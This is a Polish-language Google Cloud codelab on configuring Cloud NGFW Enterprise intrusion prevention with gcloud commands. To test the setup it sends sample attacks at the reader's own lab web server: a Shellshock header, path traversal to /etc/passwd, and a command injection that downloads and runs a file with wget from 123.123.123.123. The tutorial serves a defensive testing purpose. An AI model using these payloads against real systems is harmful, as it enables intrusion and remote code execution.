Cloud NGFW Enterprise – usługa zapobiegania włamaniom (bez inspekcji TLS)

1. Wprowadzenie

Zapora sieciowa Cloud Next Generation (NGFW)

Cloud Next Generation Firewall to w pełni rozproszona usługa zapory sieciowej z zaawansowanymi funkcjami ochrony, mikrosegmentacją i wszechstronnym zasięgiem, która chroni Twoje zbiory zadań Google Cloud przed atakami wewnętrznymi i zewnętrznymi.

Cloud NGFW ma te zalety:

  • Rozproszona usługa zapory sieciowej: Cloud NGFW zapewnia stanowy, w pełni rozproszony sposób egzekwowania zasad na hoście dla każdego zbioru zadań, zapewniając architekturę zabezpieczeń typu „zero zaufania”.
  • Uproszczona konfiguracja i wdrażanie: Cloud NGFW wdraża sieci i hierarchiczne zasady zapory sieciowej, które można dołączyć do węzła hierarchii zasobów. Te zasady zapewniają spójne środowisko zapory sieciowej w całej hierarchii zasobów Google Cloud.
  • Szczegółowa kontrola i mikrosegmentacja: połączenie zasad zapory sieciowej z tagami zarządzanymi przez Identity and Access Management (IAM) zapewnia precyzyjną kontrolę nad ruchem zarówno z północy, jak i wschód-zachód, aż do poziomu jednej maszyny wirtualnej w sieciach i organizacjach prywatnego środowiska wirtualnego w chmurze (VPC).

Usługa Cloud NGFW jest dostępna na tych poziomach:

Cloud NGFW Enterprise

Cloud NGFW Enterprise dodaje usługę zapobiegania włamaniom (IPS) (funkcję w warstwie 7) do rozproszonej sieci szkieletowej Google Cloud Firewall. Inspekcja TLS jest obsługiwana, aby umożliwić kontrolę ruchu zaszyfrowanego przy użyciu TLS, ale jest ona poza zakresem tego ćwiczenia z programowania (zobacz Cloud NGFW Enterprise Codelab with TLS Inspection).

Teraz możesz wdrażać niezawodne inspekcje zapory sieciowej warstwy 7 nowej generacji ze szczegółową kontrolą bez wprowadzania zmian w architekturze sieci czy konfiguracjach routingu.

Aby aktywować i wdrożyć kontrolę zapory sieciowej w warstwie 7 za pomocą IPS, wykonaj te czynności:

  • Utwórz zbiór strefowych punktów końcowych zapory sieciowej Google Cloud.
  • Opcjonalnie utwórz zasadę inspekcji TLS (nie opisano w tym ćwiczeniu w Codelabs)
  • Opcjonalnie utwórz konfigurację zaufania (nie opisano w tym ćwiczeniu w Codelabs)
  • Powiąż te punkty końcowe z sieciami prywatnego środowiska wirtualnego w chmurze (VPC), w których potrzebujesz usługi Cloud NGFW Enterprise.
  • Wprowadź proste zmiany w istniejących zasadach zapory sieciowej i regułach zapory sieciowej, aby określić profile zapobiegania zagrożeniom na potrzeby różnych ścieżek ruchu.

Zasady zapory sieciowej

Zasada zapory sieciowej działa jako kontener dla reguł zapory sieciowej. Reguły zdefiniowane w zasadzie zapory sieciowej nie są nigdzie egzekwowane, dopóki zasada nie zostanie powiązana z siecią VPC. Z każdą siecią VPC może być powiązana 1 zasada zapory sieciowej. Zasady zapory sieciowej obsługują w regułach zapory sieciowej tagi zarządzane przez uprawnienia (lub tylko tagi). Zastępują one bieżące tagi sieciowe i mogą służyć do przyznawania tożsamości danym zadaniom.

Udostępnianie zasady zapory sieciowej między sieciami oraz integracja z tagami zarządzanymi uprawnieniami znacznie upraszcza konfigurację zapór sieciowych i zarządzanie nimi.

Dzięki wprowadzeniu zasad zapory sieciowej zasady zapory sieciowej Google Cloud składają się teraz z tych komponentów:

  1. Hierarchiczna zasada zapory sieciowej
  2. Reguły zapory sieciowej VPC
  3. Zasady zapory sieciowej ( globalne i regionalne)

Hierarchiczne zasady zapory sieciowej są obsługiwane na poziomie organizacji i węzłów folderów w hierarchii zasobów, natomiast reguły zapory sieciowej VPC i zasady zapory sieciowej są stosowane na poziomie VPC. Duże różnice między regułami zapory sieciowej VPC a zasadami zapory sieciowej VPC polegają na tym, że reguły zapory sieciowej VPC mogą być stosowane tylko do pojedynczej sieci VPC, natomiast zasady zapory sieciowej można dołączyć do pojedynczej sieci VPC lub grupy VPC i mają inne zalety, takie jak aktualizacje zbiorcze.

Mamy też domniemane reguły zapory sieciowej, które występują w każdej sieci VPC:

  • Reguła ruchu wychodzącego, której działanie jest dozwolone, miejsce docelowe to 0.0.0.0/0
  • Reguła dla ruchu przychodzącego, której działaniem jest odrzucenie, źródło to 0.0.0.0/0

Domyślnie sekwencja egzekwowania zasad jest przedstawiona na tym diagramie:

21b3bcabc469ffe.png

Pamiętaj, że kolejność egzekwowania zasad zapory sieciowej VPC a zasadą zapory sieciowej sieci globalnej można zamienić. Klienci mogą w każdej chwili określić nakaz egzekwowania zasad za pomocą polecenia gcloud.

Tagi zarządzane przez uprawnienia

Nowe tagi zintegrowane z regułami zasad zapory sieciowej to zasoby pary klucz-wartość zdefiniowane na poziomie organizacji lub na poziomie projektu w hierarchii zasobów Google Cloud. Taki tag zawiera kontrolę dostępu, która, jak wskazuje nazwa, określa, kto może wykonywać działania z tagiem. Uprawnienia pozwalają na przykład określać, które podmioty zabezpieczeń mogą przypisywać wartości do tagów, a które mogą dołączać tagi do zasobów. Gdy tag zostanie zastosowany do zasobu, reguły zapory sieciowej mogą go używać do zezwalania na ruch lub go odrzucania.

Tagi są zgodne z modelem zasobów dziedziczenia Google Cloud, co oznacza, że tagi i ich wartości są przekazywane w hierarchii z elementów nadrzędnych. W efekcie tagi można tworzyć w jednym miejscu, a potem używać ich w innych folderach i projektach w całej hierarchii zasobów. Szczegółowe informacje na temat tagów i ograniczeń dostępu znajdziesz na tej stronie.

Tagów nie należy mylić z tagami sieci. Te ostatnie można dodawać do instancji Compute Engine. są powiązane z instancją i znikają po wyłączeniu instancji. Reguły zapory sieciowej VPC mogą obejmować tagi sieciowe, ale nie są one uważane za zasoby w chmurze, więc nie podlegają kontroli dostępu uprawnień.

Pamiętaj, że w tym dokumencie tagi i tagi zarządzane przez uprawnienia są używane wymiennie.

Co utworzysz

To ćwiczenie w Codelabs wymaga pojedynczego projektu i możliwości utworzenia sieci VPC z połączeniami publicznymi. Pokażemy, jak Cloud NGFW Enterprise może zapewnić funkcje IPS przez:

  • Sprawdzanie przepływów w sieci VPC/podsieci [wschód-zachód]
  • Sprawdzanie przepływów ruchu przychodzącego z internetu [północ-południe]

Przepływy do sprawdzenia zostaną wybrane przy użyciu parametrów dopasowania Cloud Firewall, w tym 5-krotek (źródłowy adres IP, docelowy adres IP, protokół, port źródłowy, port docelowy) i tagów. To ćwiczenie nie obejmuje inspekcji TLS.

52a0642ef8668ecf.png

Baza reguł zasad zapory sieciowej będzie podobna do przedstawionej w tabeli poniżej:

Priorytet

Kierunek

Target

Źródło

Cel

Działanie

Typ

100

Ruch wychodzący

Quarantine_Tag

Dowolny

Dowolny

Odmów

Essentials

1000

Ruch przychodzący

Server_Tag

Zakresy kontroli stanu

Dowolny

Zezwól

Essentials

2000

Ruch przychodzący

Dowolny

Zakresy Identity-Aware Proxy

Dowolny

Zezwól

Essentials

3000

Ruch przychodzący

Dowolny

Dane geograficzne, GCTI

Dowolny

Odmów

Standardowe

4000

Ruch wychodzący

Dowolny

Dowolny

Dane geograficzne, GCTI

Odmów

Standardowe

5000

Ruch wychodzący

Dowolny

Dowolny

Pełne i jednoznaczne nazwy domen aktualizacji systemu

Zezwól

Standardowe

6000

Ruch przychodzący

Server_Tag

10.0.0.0/24

Dowolny

system zapobiegania włamaniom

Firma

7000

Ruch przychodzący

Server_Tag

CloudNAT_IP

Dowolny

system zapobiegania włamaniom

Firma

Czego się nauczysz

Czego potrzebujesz

  • Projekt Google Cloud
  • Wiedza na temat wdrażania instancji i konfigurowania komponentów sieci
  • Wiedza o konfiguracji zapory sieciowej VPC

2. Zanim zaczniesz

Utwórz/zaktualizuj zmienne

W tym ćwiczeniu w Codelabs używane są zmienne $variables, które ułatwiają implementację konfiguracji gcloud w Cloud Shell.

W Cloud Shell uruchom podane niżej polecenia, zastępując odpowiednie informacje w nawiasach kwadratowych (pomiń ustawianie projektu, jeśli jest już ustawiony). W przypadku zasobów na poziomie organizacji używana jest inna zmienna, np. punkty końcowe zapory sieciowej są wymagane.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Włącz interfejsy API

Włącz interfejsy API, jeśli nie zostało to jeszcze zrobione:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tworzenie profilu zabezpieczeń firmy i punktu końcowego Cloud NGFW

Ponieważ tworzenie punktu końcowego Cloud NGFW Enterprise zajmuje około 20 minut, zostanie on utworzony najpierw, a konfigurację podstawową można przeprowadzić równolegle podczas jego tworzenia.

Utwórz profil zabezpieczeń i grupę profili zabezpieczeń:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Oczekiwane dane wyjściowe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Sprawdź, czy zasoby zostały utworzone:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Oczekiwane dane wyjściowe:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Utwórz punkt końcowy Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Uruchom poniższe polecenie, aby sprawdzić, czy punkt końcowy jest tworzony (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (format wyjściowy może się różnić w zależności od używanego klienta):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Opcjonalnie uruchom poniższe polecenie, aby uzyskać więcej informacji:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Proces tworzenia punktu końcowego trwa około 20 minut. Przejdź do sekcji konfiguracji podstawowej, aby utworzyć wymagane zasoby równolegle.

5. Konfiguracja podstawowa

Jeśli wolisz ręcznie utworzyć zasoby podstawowe, przejdź do kolejnych sekcji.

Sieć i podsieć VPC

Sieć i podsieć VPC

Utwórz sieć i podsieć VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Utwórz routery Cloud Router i bramy Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Wyświetlenia

Utwórz instancje klienta i serwera WWW:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Tagi na poziomie profilu

W razie potrzeby przypisz użytkownikowi uprawnienia tagAdmin lub tagUser:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Utwórz klucz i wartości tagu na poziomie projektu:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Powiąż tagi z instancjami:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Zasada zapory sieciowej sieci globalnej

Utwórz zasadę zapory sieciowej sieci globalnej:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Utwórz podstawowe reguły Cloud Firewall, aby odrzucać ruch z instancji poddanych kwarantannie (utworzonych tylko jako przykład i nie jest używany w tym ćwiczeniu w programowaniu) oraz zezwolić na ruch z zakresów kontroli stanu i serwera proxy identyfikującego tożsamość:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

tworzyć reguły Cloud Firewall na poziomie Standard, aby odrzucać ruch przychodzący i wychodzący z/do krajów objętych embargiem, znanych złośliwych adresów IP i węzłów wyjściowych ToR; i zezwól na ruch wychodzący do określonych pełnych i jednoznacznych nazw domen na potrzeby aktualizacji systemu (utworzone tylko jako przykład i nieużywane w tym ćwiczeniu w Codelabs):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Utwórz reguły zapory sieciowej Cloud, aby zezwolić na ruch przychodzący ze wschodu na zachód / w podsieci oraz z północy na południe / w internecie z określonych zakresów (te reguły zostaną zaktualizowane, aby włączyć Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Powiąż zasadę zapory sieciowej sieci z siecią VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Zewnętrzny sieciowy system równoważenia obciążenia TCP/UDP

Zarezerwuj zewnętrzny adres IP i utwórz grupę instancji oraz kontrolę stanu:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Utwórz usługę backendu i regułę przekierowania:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Powiązanie punktu końcowego Cloud NGFW w firmie

W razie potrzeby ponownie zdefiniuj zmienne środowiskowe.

Sprawdź, czy punkt końcowy Cloud Firewall został utworzony. Przejdź dalej tylko wtedy, gdy stan zmieni się na AKTYWNE (oczekiwany stan podczas tworzenia to TWORZENIE):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (format wyjściowy może się różnić w zależności od używanego klienta):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Opcjonalnie uruchom poniższe polecenie, aby uzyskać więcej informacji:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Powiąż punkt końcowy Cloud NGFW Enterprise z siecią VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Proces powiązania trwa około 10 minut. Przejdź dalej tylko wtedy, gdy stan zmieni się na AKTYWNE (oczekiwany stan podczas procesu tworzenia to TWORZĘ):

gcloud network-security firewall-endpoint-associations list

Oczekiwane dane wyjściowe:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Opcjonalnie uruchom poniższe polecenie, aby uzyskać więcej informacji:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Reguły inspekcji Enterprise w Cloud NGFW

Otwórz nową kartę i zainicjuj połączenie SSH z kliencką maszyną wirtualną za pomocą IAP (konieczne będzie ponowne zdefiniowanie zmiennych w nowej karcie):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Zdefiniuj zmienne wymagane w sesji SSH i ustaw zmienne (upewnij się, że wartości są prawidłowe):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

curl oba adresy IP, aby potwierdzić, że są osiągalne:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Oczekiwany wynik w przypadku obu żądań curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Wysyłaj przykładowe ataki na wewnętrzny adres IP serwera (ruch wschód-zachód / ruch wewnątrz VPC). Serwer WWW powinien odpowiadać na wszystkie żądania, potwierdzając, że nie ma realizowanej kontroli/zapobiegania L7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Wyślij ponownie przykładowe ataki na adres IP serwera zewnętrznego przez Cloud NAT (ruch przychodzący z północy na południe). Podobnie serwer WWW powinien odpowiadać na wszystkie żądania:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Oczekiwane wyniki zarówno w przypadku publicznych, jak i prywatnych adresów IP:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Wróć do Cloud Shell i zaktualizuj istniejące reguły ruchu przychodzącego, aby włączyć kontrolę L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Opcjonalnie opisz reguły zapory sieciowej, aby sprawdzić, czy obie zostały zaktualizowane:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Oczekiwane dane wyjściowe:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Reguła 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Oczekiwane dane wyjściowe:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Przełącz się z powrotem na maszynę wirtualną klienta i ponownie wyślij przykładowe ataki na wewnętrzny adres IP serwera (inspekcja wschód-zachód / wewnątrz VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Wyślij ponownie przykładowe ataki na adres IP serwera zewnętrznego przez Cloud NAT (inspekcja przychodząca z północy na południe):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

W przypadku pierwszych ataków nie otrzymaliśmy żadnych odpowiedzi zgodnych z oczekiwaniami podanymi poniżej, co potwierdza, że ataki o wysokiej wadze są teraz blokowane.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Otwórz Bezpieczeństwo sieci > Zagrożenia w konsoli Cloud umożliwiające weryfikację logów (jeśli ataki nie są jeszcze widoczne, konieczne może być kilkukrotne odświeżenie).

daa535fcc34873aa.png

Wybierz jeden z ataków i kliknij „Wyświetl log kontrolny”. z prawej strony (otwiera się w nowej karcie, aby łatwo przełączyć się z powrotem). Rozwiń atak, aby wyświetlić szczegóły:

5f97cdef79e42eff.png

Opcjonalnie możesz zastąpić filtr Eksploratora logów tym zapytaniem:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Wpisy w logu zagrożeń powinny wyglądać tak:

5ea9581a7eb694c5.png

Pakiety przechwycone przez Cloud Firewall można zweryfikować przy użyciu poniższego filtra Eksploratora logów (przydatny podczas rozwiązywania problemów):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Przejdź do kontroli ruchu internetowego (opcjonalnie) lub zamknij sesję SSH i przejdź do następnego rozdziału zawierającego instrukcje czyszczenia.

[Opcjonalnie] Kontrola ruchu w internecie

Jak informowaliśmy w poprzedniej sekcji, dotychczas sprawdzane przepływy to ruch w podsieci/VPC (wschód-zachód) oraz ruch przychodzący z internetu (przychodzący z północy na południe). Usługę Cloud NGFW Enterprise można też skonfigurować do badania całego ruchu internetowego (wychodzący północ-południe) przez utworzenie w Cloud Shell nowej reguły ruchu wychodzącego:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

